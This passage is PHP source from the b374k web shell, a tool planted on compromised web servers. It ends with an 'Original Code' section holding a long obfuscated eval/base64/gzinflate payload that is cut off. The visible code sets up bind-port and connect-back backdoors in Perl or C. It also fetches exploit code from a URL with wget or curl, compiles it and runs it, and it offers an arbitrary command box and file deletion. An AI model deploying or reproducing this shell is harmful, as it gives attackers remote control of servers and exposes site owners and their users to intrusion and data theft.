if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?><center><br><br><div class="info">-=[ b374k r3c0ded by <span class="gaya"><a href="http://facebook.com/xinject.aja">X'1N73CT</a></span> ]=-</div>
<div class="jaya"> © 2013 X'1N73CT</div></center><br><br>
<script language='javascript'>
var DADrightclicktheme = 'Dark';
var DADrightclickimage = 'https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-prn1/65186_145110908973389_1514728916_n.jpg';</script>
<script src="http://bagsfreakz.com/js/disimg.js">
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
eval(gzinflate(str_rot13(base64_decode('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